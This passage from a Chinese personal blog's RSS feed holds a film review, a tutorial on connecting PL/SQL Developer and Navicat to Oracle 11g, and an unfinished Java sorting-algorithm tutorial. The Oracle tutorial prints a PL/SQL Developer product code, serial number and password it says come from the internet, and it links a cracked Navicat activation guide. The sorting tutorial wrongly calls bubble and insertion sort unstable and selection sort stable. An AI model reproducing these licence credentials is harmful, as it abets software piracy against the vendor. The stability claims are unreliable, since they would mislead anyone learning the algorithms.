&lt;p&gt;我是一个非常讨厌谈钱的人，可能和我是个白嫖怪有关（不买会员，打游戏也不怎么充钱，能玩就行，需要什么资源就自己找，找不到就算了），不过现实得一，钱到用时方恨少，努力攒钱努力攒钱。&lt;/p&gt;
</content:encoded></item><item><title>Man In Love Review</title><link>https://reajason.eu.org/writing/maninlovereview/</link><guid isPermaLink="true">https://reajason.eu.org/writing/maninlovereview/</guid><pubDate>Tue, 28 Sep 2021 14:10:00 GMT</pubDate><content:encoded>&lt;p&gt;在线观看地址：&lt;a href=&quot;https://www.kpkuang.com/voddetail/429758/&quot;&gt;《当男人恋爱时》(2021)&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;当男人恋爱时观后感&lt;/h1&gt;
&lt;p&gt;  促使我写这次观后感的原因有两个，一个不想在 QQ 和朋友圈写，已经没有在这两个平台的分享欲了；二看到后面真的涕泗横流那种了（复杂的感情交织在一起），想尝试写一写自己的 feelings。整部影片看到结尾，我的第一感受是，我更喜欢美好一点的结局，男主最后没能活下来我觉得很伤心（好烦啊，怎么就不能活下来啊）。&lt;/p&gt;
&lt;p&gt;  第一个泪流满面的点：成哥出狱之后，费劲九牛二虎之力，硬把钱要回来，但是也没能还给浩婷（拒绝了）。傍晚时分，浩婷的同事为浩婷介绍了个相亲对象在外面一起吃饭，成哥站在不远的窗外，看着浩婷开心的模样，又哭有又笑的样子。就在这一刻，我哭了，我突然想到了很多事情，我仿佛我能代入到其中，我仿佛知道成哥心里在想什么，那就是『她现在开心、幸福真好』（一千个观众就会有一千个哈姆雷特）。笑过之后更多的是伤心难受，爱情让人撕心裂肺。

&lt;/p&gt;
&lt;p&gt;  这一点我真的有感同身受：自己无力、仿佛再也没有机会的时候，看着自己喜欢的另一半开心幸福的样子，自己也会非常开心。我想起了高中那段短暂的恋爱经历和大学的恋爱经历。虽然我已经不在身边，但是看到她开心幸福有成就的时候也会非常开心（现实和影片还是有亿点点的不同，但是我就是想到了这一点）。&lt;/p&gt;
&lt;p&gt;  电影中两个人在一起真的超级不容易，他们在一起脸上洋溢着的幸福的笑容真的非常打动人，非常令人向往爱情。由于电影的篇幅限制，他们的爱情之路进展得非常之快，以至于我刚想好好磕糖，刚慢慢进入角色，它咔得一下，给我整哭了，我不能接受，我无法接受，退钱退钱。&lt;/p&gt;
&lt;p&gt;  该片中后半段从成哥的钱全部被骗走后开始推上高潮，疾病疼痛这类引起人们共鸣的手段，真的好烦，但是他作为一个悲剧又真的对观影者很有用，都会情不自禁地落泪，我也是一直在涕泗横流。看完之后非常满足，作为爱情片它有很多令人向往的爱情的桥段，它也有许多使人潸然泪下的情节铺设。感谢『小郑同学』的安利✨，Nice，哭爽了，属于是。&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
</content:encoded></item><item><title>PL/SQL 以及 Navicat 连接 Oracle11G</title><link>https://reajason.eu.org/writing/plsqlnavicatconnectoracle11g/</link><guid isPermaLink="true">https://reajason.eu.org/writing/plsqlnavicatconnectoracle11g/</guid><pubDate>Thu, 26 Aug 2021 09:35:00 GMT</pubDate><content:encoded>&lt;h2&gt;PL/SQL Developer&lt;/h2&gt;
&lt;h3&gt;⌛下载&lt;/h3&gt;
&lt;p&gt;{% note success%}
&lt;a href=&quot;https://www.allroundautomations.com/products/pl-sql-developer/free-trial/&quot;&gt;官网下载地址，点击前往&lt;/a&gt;
{% endnote %}&lt;/p&gt;
&lt;p&gt;无脑推荐官网下载，根据自己电脑来就行，32 位就 32 位，64 位就 64 位&lt;/p&gt;
&lt;h3&gt;🔓授权&lt;/h3&gt;
&lt;p&gt;{% note info%}
授权码来源于网络
{% endnote %}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Product Code:&lt;/strong&gt; &lt;code&gt;ke4tv8t5jtxz493kl8s2nn3t6xgngcmgf3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Serial Number:&lt;/strong&gt; &lt;code&gt;264452&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;xs374ca&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;⚙配置&lt;/h3&gt;
&lt;p&gt;{% note warning%}
建议 PLSQL、instantclient 与 服务器 Oracle 版本一致
{% endnote %}&lt;/p&gt;
&lt;p&gt;根据所需要连接的 Oracle 版本来选择自己所需要下载的版本（下载需要账号，注册就行），这是一种不安装客户端的形式，稍微轻便一点，不过有些功能会没有，酌情使用，也可使用高版本的位数相同的客户端下载。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oracle.com/database/technologies/instant-client/microsoft-windows-32-downloads.html&quot;&gt;32 位 instant-client 下载地址&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oracle.com/database/technologies/instant-client/winx64-64-downloads.html&quot;&gt;64 位 instant-client 下载地址&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于我需要连接的服务器安装的是 64 位 Oracle 11g 的版本所以我下载的是 instantclient-basic-windows.x64-11.2.0.4.0.zip&lt;/p&gt;
&lt;p&gt;打开 PL/SQL Developer，登录的时候点取消，进入设置，如图配置 Oracle 主目录以及 OCI 库的位置为下载解压的目录路径，应用并重启&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;🎯连接&lt;/h3&gt;
&lt;p&gt;使用用户名、密码和数据库（ip:port/servername）进行连接（如果连接不上根据报错寻找解决办法，一般情况就是下载的 instant-client 与服务器的版本不匹配，显示未授权的协议）&lt;/p&gt;
&lt;p&gt;如果查询的时候乱码则需要配置 Windows 环境变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 查询数据库版本
select * from v$version;

-- 查询数据库所使用的编码
select userenv(&apos;language&apos;) from dual;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;环境变量名：NLS_LANG&lt;/p&gt;
&lt;p&gt;环境变量值：查询编码到的编码（我的是：AMERICAN_AMERICA.ZHS16GBK）&lt;/p&gt;
&lt;p&gt;重启就不会乱码了🤗&lt;/p&gt;
&lt;h2&gt;Navicat Premium 15&lt;/h2&gt;
&lt;h3&gt;⌛下载&lt;/h3&gt;
&lt;p&gt;{% note success%}
&lt;a href=&quot;https://www.navicat.com.cn/download/navicat-premium&quot;&gt;官网下载地址，点击前往&lt;/a&gt;
{% endnote %}&lt;/p&gt;
&lt;p&gt;无脑推荐官网下载，根据自己电脑来就行，32 位就 32 位，64 位就 64 位&lt;/p&gt;
&lt;h3&gt;🔓授权&lt;/h3&gt;
&lt;p&gt;教程这边请👉：&lt;a href=&quot;https://cloud.tencent.com/developer/article/1804255&quot;&gt;Navicat Premium 15安装教程(完整激活版) &lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;⚙配置&lt;/h3&gt;
&lt;p&gt;{% note success%}&lt;/p&gt;
&lt;p&gt;我使用 PL/SQL 上面下载用的 OCI 并不可行，找到可行的 &lt;a href=&quot;https://lingsiki.lanzoui.com/iWlWkt9fwdi&quot;&gt;Oracle11g OCI 下载&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;{% endnote %}&lt;/p&gt;
&lt;p&gt;工具-选项-环境-OCI 环境选择下载解压的 oci.dll 文件重启即可&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;🎯连接&lt;/h3&gt;
&lt;p&gt;新建 Oracle 连接，主机填写 ip 地址，账号密码，服务名，测试链接&lt;/p&gt;
</content:encoded></item><item><title>Forever Algorithm</title><link>https://reajason.eu.org/writing/foreveralgorithm/</link><guid isPermaLink="true">https://reajason.eu.org/writing/foreveralgorithm/</guid><pubDate>Sat, 21 Aug 2021 09:35:00 GMT</pubDate><content:encoded>&lt;h2&gt;语言基础&lt;/h2&gt;
&lt;h3&gt;1、数组&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;数组的长度是确定的，数组一旦创建，大小就不可改变&lt;/li&gt;
&lt;li&gt;元素必须同类型&lt;/li&gt;
&lt;li&gt;数组是引用类型&lt;/li&gt;
&lt;li&gt;数组的合法索引界限为 [0,arr.length-1]&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// 初始化方法1
int[] a = {1,2,3,4,5,6};

// 初始化方法2
int[] b = new int[10];

// 常用操作
int[] a = {1, 2, 3, 4, 5, 6, 7, 8, 9};
int[] b = new int[10];
System.out.println(a.length);

// 遍历数组1
for (int i = 0; i &amp;lt; a.length; i++) {
    System.out.println(a[i]);
}
// 遍历数组2
for (int i : a) {
    System.out.println(i);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2、字符串&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;字符串是不可变类型&lt;/li&gt;
&lt;li&gt;Java 存在字符串常量池，如若常量池出现则复用&lt;/li&gt;
&lt;li&gt;Java 存在常量优化机制，&quot;a&quot;+&quot;b&quot;+&quot;c&quot; 在编译阶段直接变成 &quot;abc&quot;&lt;/li&gt;
&lt;li&gt;字符串相加时，JVM 会创建一个 StringBuilder 对象，调用 append() 方法，最后调用 ToString() 返回字符串&lt;/li&gt;
&lt;li&gt;== 比较地址是否相同，s1.equals(s2) 比较字符串内容是否相同&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;String s1 = &quot;abc&quot;;
String s2 = &quot;a&quot; + &quot;b&quot; + &quot;c&quot;;
String s = &quot;ab&quot;;
String s3 = s + &quot;c&quot;;
char[] chars = {&apos;a&apos;, &apos;b&apos;, &apos;c&apos;};
String s4 = new String(chars);
byte[] bytes = {97, 98, 99};
String s5 = new String(bytes);
System.out.println(s1); // abc
System.out.println(s2); // abc
System.out.println(s3); // abc
System.out.println(s4); // abc
System.out.println(s5); // abc
System.out.println(s1 == s2); // true
System.out.println(s1 == s3); // false
System.out.println(s1.equals(s3)); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 常用操作
String s1 = &quot;hello world&quot;;
System.out.println(s1.length()); // 11
System.out.println(s1.charAt(3)); // l
System.out.println(s1.substring(3, 5)); // lo 
System.out.println(s1.substring(6)); // world
System.out.println(s1.replace(&quot;o&quot;,&quot;f&quot;)); // hellf wfrld
System.out.println(Arrays.toString(s1.split(&quot; &quot;))); // [hello, world]
System.out.println(s1.toCharArray()); // hello world
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// StringBuilder 是线程非安全的、StringBuffer 是线程安全的
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3、常用容器&lt;/h3&gt;
&lt;h4&gt;3.1 ArrayList&lt;/h4&gt;
&lt;h4&gt;3.2 LinkedLisk&lt;/h4&gt;
&lt;h4&gt;3.3 HashSet&lt;/h4&gt;
&lt;h4&gt;3.4 TreeSet&lt;/h4&gt;
&lt;h4&gt;3.5 HashMap&lt;/h4&gt;
&lt;h4&gt;3.6 TreeMap&lt;/h4&gt;
&lt;h1&gt;排序算法&lt;/h1&gt;
&lt;h2&gt;1、冒泡排序&lt;/h2&gt;
&lt;h3&gt;1.1 排序思想&lt;/h3&gt;
&lt;p&gt;数组从前往后依次两两比较，逆序则交换，因此每一轮比较可以确定一个最大值放置在后面，就像水底下的气泡一样逐渐上冒。若数组一共有 n 个元素，因为每一轮能够确定一个最大值，因此需要 n-1 轮数组即可排序完成（最后只剩下一个元素不需要排序了）。优化：若一轮比较中没有需要交换的元素即可认为是排序完毕。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;时间复杂度：O(n²)&lt;/li&gt;
&lt;li&gt;空间复杂度：O(1)&lt;/li&gt;
&lt;li&gt;稳定性：不稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 排序演示&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code02_BubbleSort {
    
    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }
    
    public static void main(String[] args) {
        int[] arr = {3, 9, -1, 10, -2};
        // 第一轮冒泡，两两比较将最大值放置在最后，即数组中的 10 放在最后
        for (int i = 0; i &amp;lt; arr.length - 1 - 0; i++) {
            if(arr[i]&amp;gt;arr[i+1]){
                swap(arr, i, i+1);
            }
        }
        System.out.println(Arrays.toString(arr));  // [3, -1, 9, -2, 10]

        // 第二轮冒泡，两两比较，将第二大的值放在倒数第二的位置，即数组中的 9 放在倒数第二位置
        for (int i = 0; i &amp;lt; arr.length - 1 - 1; i++) {
            if(arr[i]&amp;gt;arr[i+1]){
                swap(arr, i, i+1);
            }
        }
        System.out.println(Arrays.toString(arr));  // [-1, 3, -2, 9, 10]

        // 第三轮冒泡，两两比较，将第三大的值放在倒数第三的位置，即数组中的 3 放在倒数第三位置
        for (int i = 0; i &amp;lt; arr.length - 1 - 2; i++) {
            if(arr[i]&amp;gt;arr[i+1]){
                swap(arr, i, i+1);
            }
        }
        System.out.println(Arrays.toString(arr));  // [-1, -2, 3, 9, 10]

        // 第四轮冒泡，两两比较，将第四大的值放在倒数第四的位置，即数组中的 -1 放在倒数第四位置
        for (int i = 0; i &amp;lt; arr.length - 1 - 3; i++) {
            if(arr[i]&amp;gt;arr[i+1]){
                swap(arr, i, i+1);
            }
        }
        System.out.println(Arrays.toString(arr));  // [-2, -1, 3, 9, 10]

        // 最后留下一个 -2 它不需要比较了，因此 5 个元素需要 4 轮冒泡
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 排序代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code02_BubbleSort {
    public static void bubbleSort(int[] arr) {
        // 排除不需要排序的情况
        if (arr == null || arr.length &amp;lt; 2) {
            return;
        }
        // 若数组元素个数有 arr.length 个，则需要冒泡的轮数为 arr.length -1 轮
        // 第一层 for 循环，0 开始，到 arr.length - 2，总轮数则是 arr.length - 1
        for (int i = 0; i &amp;lt; arr.length - 1; i++) {

            // 由上面一小节可知，写出如下代码
            // 第一轮 ，i = 0，因此比较到 arr.length - 2 的位置
            // 最后比较 arr.length -2 和 arr.length - 1 的位置，将最大值放在 arr.length - 1 的位置，即最后一个位置
            // 第二轮，i = 1，因此比较到 arr.length - 2 - 1 的位置
            // 最后比较 arr.length -1 和 arr.length - 2 的位置，将第二大的值放在 arr.length - 2 的位置，即倒数第二位置
            // ...
            // 最后一轮，i = arr.length - 2，因此比较到 arr.length - 2 - (arr.length - 2) = 0
            // 即只需要比较索引 0 位置 和 1 位置的两个值，将倒数第二大的值放在 1 位置，最小的自然而然就是 0 位置上的值了，结束排序
            for (int j = 0; j &amp;lt; arr.length - 1 - i; j++) {
                if (arr[j] &amp;gt; arr[j + 1]) {
                    swap(arr, j, j + 1);
                }
            }
        }
    }

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }

    public static void main(String[] args) {
        int[] arr = {3, 9, -1, 10, -2};
        bubbleSort(arr);
        System.out.println(Arrays.toString(arr)); // [-2, -1, 3, 9, 10]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 优化&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public static void bubbleSort(int[] arr) {
    // 排除不需要排序的情况
    if (arr == null || arr.length &amp;lt; 2) {
        return;
    }
    boolean flag = false;
    for (int i = 0; i &amp;lt; arr.length - 1; i++) {
        for (int j = 0; j &amp;lt; arr.length - 1 - i; j++) {
            if (arr[j] &amp;gt; arr[j + 1]) {
                flag = true; // 如果出现需要交换的位置，则将 flag 设为 true
                swap(arr, j, j + 1);
            }
        }
        // 若比较完一轮，flag 仍然为 false，则认为数组已有序（未出现需要交换的位置），退出排序循环
        if (!flag){
            break;
        }else{
            flag = false; // 重置 flag 用于下一轮判断
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2、选择排序&lt;/h2&gt;
&lt;h3&gt;2.1 排序思想&lt;/h3&gt;
&lt;p&gt;每一轮比较，获取最小值索引下标，放到前面，比较完后再交换，减少了交换。第一次比较整个数组，拿到最小值的下标 minIndex，然后交换 0 和 minIndex 索引位置的值；第二次比较 arr[1]~arr[n-1] 上的值（0 位置在第一次比较已经放上了数组最小值了），获取第二小的下表 minIndex，然后交换 1 和 minIndex 索引位置的值......最后整个数组就有序了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;时间复杂度：O(n²)&lt;/li&gt;
&lt;li&gt;空间复杂度：O(1)&lt;/li&gt;
&lt;li&gt;稳定性：稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 排序演示&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code01_SelectionSort {

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }

    public static void main(String[] args) {
        int[] arr = {2, 5, 7, 1};

        // 第一轮排序，假设 0 位置为最小索引（第一轮确定索引 0 位置的值），获取整个数组最小索引下标位置，即 minIndex = 3，交换 0 和 3 位置的值
        int minIndex = 0;
        // 从 1 位置开始比较，自己没必要和自己比了
        for(int i = 0 + 1; i &amp;lt; arr.length; i++){
            if(arr[i]&amp;lt; arr[minIndex]){
                minIndex = i;
            }
        }
        swap(arr, 0, minIndex);
        System.out.println(Arrays.toString(arr)); // [1, 5, 7, 2]

        // 第二轮，假设 1 位置为最小索引（第二轮确定索引 1 位置的值），获取 1 ~ arr.length 上最小索引下标位置，即 minIndex = 3，交换 1 和 3 位置的值
        minIndex = 1;
        // 从 2 位置开始比较，自己没必要和自己比了
        for(int i = 1 + 1; i &amp;lt; arr.length; i++){
            if(arr[i]&amp;lt; arr[minIndex]){
                minIndex = i;
            }
        }
        swap(arr, 1, minIndex);
        System.out.println(Arrays.toString(arr)); // [1, 2, 7, 5]

        // 第三轮，假设 2 位置为最小索引（第三轮确定索引 2 位置的值），获取 2 ~ arr.length 上最小索引下标位置，即 minIndex = 3，交换 2 和 3 位置的值
        minIndex = 2;
        // 从 3 位置开始比较，自己没必要和自己比了
        for(int i = 2 + 1; i &amp;lt; arr.length; i++){
            if(arr[i]&amp;lt; arr[minIndex]){
                minIndex = i;
            }
        }
        swap(arr, 2, minIndex);
        System.out.println(Arrays.toString(arr)); // [1, 2, 5, 7]

        // 最后一个位置只有一个元素不再需要比较，因此 n 个元素只需要比较 n-1 轮
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 排序代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code01_SelectionSort {
    public static void selectionSort(int[] arr) {
        // 排除不需要排序的情况
        if (arr == null || arr.length &amp;lt; 2) {
            return;
        }

        // 比较 arr.length - 1 轮，i 从 0 ~ arr.length - 2 即 arr.length - 1 轮
        // i = 0 即确定 索引 0 位置上的值，i = arr.length - 2 即确定 arr.length - 2 位置上的值，最后 arr.length - 1 位置不需要再比较
        for (int i = 0; i &amp;lt; arr.length - 1; i++) {
            int minIndex = i;
            // 自己不需要和自己比较，找到 i + 1 ~ arr.length -1 上的最小值下标
            for (int j = i + 1; j &amp;lt; arr.length; j++) {

                // 依次比较，更新 minIndex 的值
                if(arr[j] &amp;lt; arr[minIndex]){
                    minIndex = j;
                }
            }
            // 交换当前待确定位置的值和最小下标位置的值
            // 小优化：如果最小值索引位置即为待确定位置的值，则不需要交换
            if(i != minIndex){
                swap(arr, i, minIndex);
            }
        }
    }

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }
    
    public static void main(String[] args) {
        int[] arr = {2, 5, 1, 7, 2, 9, 10, 35};
        selectionSort(arr);
        System.out.println(Arrays.toString(arr)); // [1, 2, 2, 5, 7, 9, 10, 35]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3、插入排序&lt;/h2&gt;
&lt;h3&gt;3.1 排序思想&lt;/h3&gt;
&lt;p&gt;将整个数组分为有序区和无序区，每一轮将无序区第一个元素往前依次比较，插入到有序区中。默认假定第一个数已有序，即需要确认 1 ~ n 位置上的元素位置，需要 n -1 轮。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;时间复杂度：O(n²)&lt;/li&gt;
&lt;li&gt;空间复杂度：O(1)&lt;/li&gt;
&lt;li&gt;稳定性：不稳定&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 排序演示&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code03_InsertionSort {

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }

    public static void main(String[] args) {
        int[] arr = {2, 5, 1, 3};

        // 默认 0 位置已有序
        // 第一轮，将索引 1 位置的值（待插入位置的值）依次比较插入到有序区
        // i &amp;gt;= 0，确保索引不越界，比较到 0 位置结束
        // 索引 1-1 位置的值 2 比 待插入值 5 小，因此直接跳出循环，i = 0
        int num = arr[1];
        int i;
        for (i = 1 - 1; i &amp;gt;= 0 &amp;amp;&amp;amp; arr[i] &amp;gt; num; i--) {
            arr[i + 1] = arr[i];
        }
        // i + 1 = 1，因此自己等于自己，不变
        arr[i + 1] = num;
        System.out.println(Arrays.toString(arr)); // [2, 5, 1, 3]

        // 第二轮，将索引 2 位置的值依次比较插入到有序区
        // num 记录当前待插入的值
        num = arr[2];

        // 第一步：索引 2-1 位置的值 5 与 待插入值 1 进行比较，5 &amp;gt; 1，因此将 5 往后移即 arr[2] = arr[1]，数组变为 [2, 5, 5, 3]
        // 第二步：继续往前比较，索引 0 位置上的值 2 比待插入值 1 大，因此将 2 往后移，即 arr[1] = arr[0]，数组变为 [2, 2, 5, 3]
        // i--，不满足 i&amp;gt;=0，停止比较，第二轮结束，此时 i = -1
        for (i = 2 - 1; i &amp;gt;= 0 &amp;amp;&amp;amp; arr[i] &amp;gt; num; i--) {
            arr[i + 1] = arr[i];
        }
        // 因此将待插入值插入到 0 索引位置上
        arr[i + 1] = num;
        System.out.println(Arrays.toString(arr)); // [1, 2, 5, 3]

        // 第三轮，将索引 3 位置的值依次比较插入到有序区
        num = arr[3];

        // 第一步：索引 3-1 位置的值 5 与 待插入值 3 进行比较，5 &amp;gt; 3，因此将 5 往后移即 arr[3] = arr[2]，数组变为 [1, 2, 5, 5]
        // 第二步：继续往前比较，索引 1 位置上的值 2 比待插入值 3 小，因此结束循环，此时 i = 1
        for (i = 3 - 1; i &amp;gt;= 0 &amp;amp;&amp;amp; arr[i] &amp;gt; num; i--) {
            arr[i + 1] = arr[i];
        }
        // 因此将待插入值插入到 2 索引位置上
        arr[i + 1] = num;
        System.out.println(Arrays.toString(arr));  // [1, 2, 3, 5]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 排序代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code03_InsertionSort {
    public static void insertionSort(int[] arr) {
        // 排除不需要排序的情况
        if (arr == null || arr.length &amp;lt; 2) {
            return;
        }
        // 0 ~ i 位置上已有序，0 位置已认为有序，从 1 位置开始排序，依次确定待排序
        for (int i = 1; i &amp;lt; arr.length; i++) {

            // 记录下当前待插入的值
            int num = arr[i];
            int j;
            // 从 i-1 开始比较，当 j 不越界 并且 j 位置的值比待插入值大，则后移
            for (j = i - 1; j &amp;gt;= 0 &amp;amp;&amp;amp; arr[j] &amp;gt; num; j--) {
                arr[j + 1] = arr[j];
            }
            // 确定了待插入所在位置为 j + 1，因为退出循环的时候 j 位置不满足 j&amp;gt;= 0 越界，或者 j 位置已经小于 num 位置了
            arr[j + 1] = num;
        }
    }

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }
    
    public static void main(String[] args) {
        int[] arr = {2, 5, 1, 3, 5, 1, 8, 10};
        insertionSort(arr);
        System.out.println(Arrays.toString(arr)); // [1, 1, 2, 3, 5, 5, 8, 10]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4、希尔排序&lt;/h2&gt;
&lt;h3&gt;4.1 排序思想&lt;/h3&gt;
&lt;p&gt;将数组按一定的增量进行分组，对每组进行插入排序算法排序，随着增量减少到 1，停止排序，数组有序。希尔排序是插入排序的优化版本，希尔排序通过递减增量排序使得整个数组相对有序，减少了比较次数（插入排序中，如果最小的数在最后需要从后往前一直比较）。&lt;/p&gt;
&lt;h3&gt;4.2 排序演示&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code04_ShellSort {

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }

    public static void main(String[] args) {
        int[] arr = {8, 9, 1, 7, 2, 3, 5, 4, 6, 0};

        // 第一次排序，设置增量为 arr.length / 2 = 5，将整个数组分成 5 组进行插入排序
        // [8,3],[9,5],[1,4],[7,6],[2,0]
        for (int i = 5; i &amp;lt; arr.length; i++) {
            int num = arr[i];
            int j;
            for (j = i - 5; j &amp;gt;= 0 &amp;amp;&amp;amp; arr[j] &amp;gt; num; j -= 5) {
                arr[j + 5] = arr[j];
            }
            arr[j + 5] = num;
        }
        System.out.println(Arrays.toString(arr)); // [3, 5, 1, 6, 0, 8, 9, 4, 7, 2]

        // 第二次排序，设置增量为 5 / 2 = 2，将整个数组分成 2 组进行插入排序
        // [3,1,0,9,7],[5,6,8,4,2]
        for (int i = 2; i &amp;lt; arr.length; i++) {
            int num = arr[i];
            int j;
            for (j = i - 2; j &amp;gt;= 0 &amp;amp;&amp;amp; arr[j] &amp;gt; num; j -= 2) {
                arr[j + 2] = arr[j];
            }
            arr[j + 2] = num;
        }
        System.out.println(Arrays.toString(arr)); // [0, 2, 1, 4, 3, 5, 7, 6, 9, 8]

        // 第三次次排序，设置增量为 2 / 2 = 1，将整个数组分成 1 组进行插入排序，当增量为 1 是，则是最后一轮，因为是对整个数组进行插入排序了
        // [3,1,0,9,7],[5,6,8,4,2]
        for (int i = 1; i &amp;lt; arr.length; i++) {
            int num = arr[i];
            int j;
            for (j = i - 1; j &amp;gt;= 0 &amp;amp;&amp;amp; arr[j] &amp;gt; num; j -= 1) {
                arr[j + 1] = arr[j];
            }
            arr[j + 1] = num;
        }
        System.out.println(Arrays.toString(arr)); // [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 排序代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code04_ShellSort {

    public static void shellSort(int[] arr) {
        if (arr == null || arr.length &amp;lt; 2) {
            return;
        }
        // 设置初始增量为 arr.length / 2，当增量为 1 即为最后一轮排序，每排序完一轮 增量除 2
        for (int step = arr.length / 2; step &amp;gt;= 1; step /= 2) {

            // 通过增量将数组分组进行插入排序
            for (int i = step; i &amp;lt; arr.length; i++) {
                int num = arr[i];
                int j;
                for (j = i - step; j &amp;gt;= 0 &amp;amp;&amp;amp; arr[j] &amp;gt; num; j -= step) {
                    arr[j + step] = arr[j];
                }
                arr[j + step] = num;
            }
        }

    }

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }

    public static void main(String[] args) {
        int[] arr = {2, 5, 1, 3, 5, 1, 8, 10};
        shellSort(arr);
        System.out.println(Arrays.toString(arr)); // [1, 1, 2, 3, 5, 5, 8, 10]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5、快速排序&lt;/h2&gt;
&lt;h3&gt;5.1 排序思想&lt;/h3&gt;
&lt;p&gt;每次排序选取一个基准元素，将比基准元素小的放在左部分，比基准元素大的放在右部分，这样即可找到基准元素所在位置，递归依次在左部分选取基准元素确定位置，和右部分选取基准元素确定位置，最终有序。&lt;/p&gt;
&lt;h3&gt;5.2 排序演示&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
数组 int[] arr = {2, 5, 1, 3, 0};
1、选取基准元素，pivot = arr[0] = 2，left = 0，right = 4
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.3 排序代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class Code05_QuickSort {

    public static void quickSort(int[] nums, int left, int right) {
        if (left &amp;lt; right) {
            int pIndex = partition(nums, left, right);
            quickSort(nums, left, pIndex - 1);
            quickSort(nums, pIndex + 1, right);
        }
    }

    public static int partition(int[] nums, int left, int right) {
        // 将左侧第一个元素作为基准值
        int pivot = nums[left];

        int i = left;
        int j = right;

        while (i &amp;lt; j) {
            // 在右侧找大于基准元素的索引下标(如果当前值大于等于基准值就往左移直到找到小于基准值的索引位置)
            while (i &amp;lt; j &amp;amp;&amp;amp; nums[j] &amp;gt;= pivot) {
                j--;
            }
            // 在左侧找大于基准元素的索引下标(如果当前值小于等于基准值就往右移直到找到大于基准值的索引位置)
            while (i &amp;lt; j &amp;amp;&amp;amp; nums[i] &amp;lt;= pivot) {
                i++;
            }
            // 由于最后一次交换后不会 break，仍然会跑一遍上面的代码，此时 i 来到了右侧指向大于等于基准值
            if (i &amp;lt; j) {
                // 将左侧大的值和右侧小的值进行交换
                // 最后一次交换后，即[left, i] &amp;lt;= pivot ，[j,right] &amp;gt;= pivot
                swap(nums, i, j);
            }

        }
        swap(nums, left, j);
        return j;
    }

    public static void swap(int[] arr, int a, int b) {
        int temp = arr[a];
        arr[a] = arr[b];
        arr[b] = temp;
    }

    public static void main(String[] args) {
        int[] arr = {0, 1, 2, 1, 5, 0, 3,2,1};
        quickSort(arr, 0, arr.length - 1);
        System.out.println(Arrays.toString(arr));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6、归并排序&lt;/h2&gt;
&lt;h3&gt;6.1 排序思想&lt;/h3&gt;
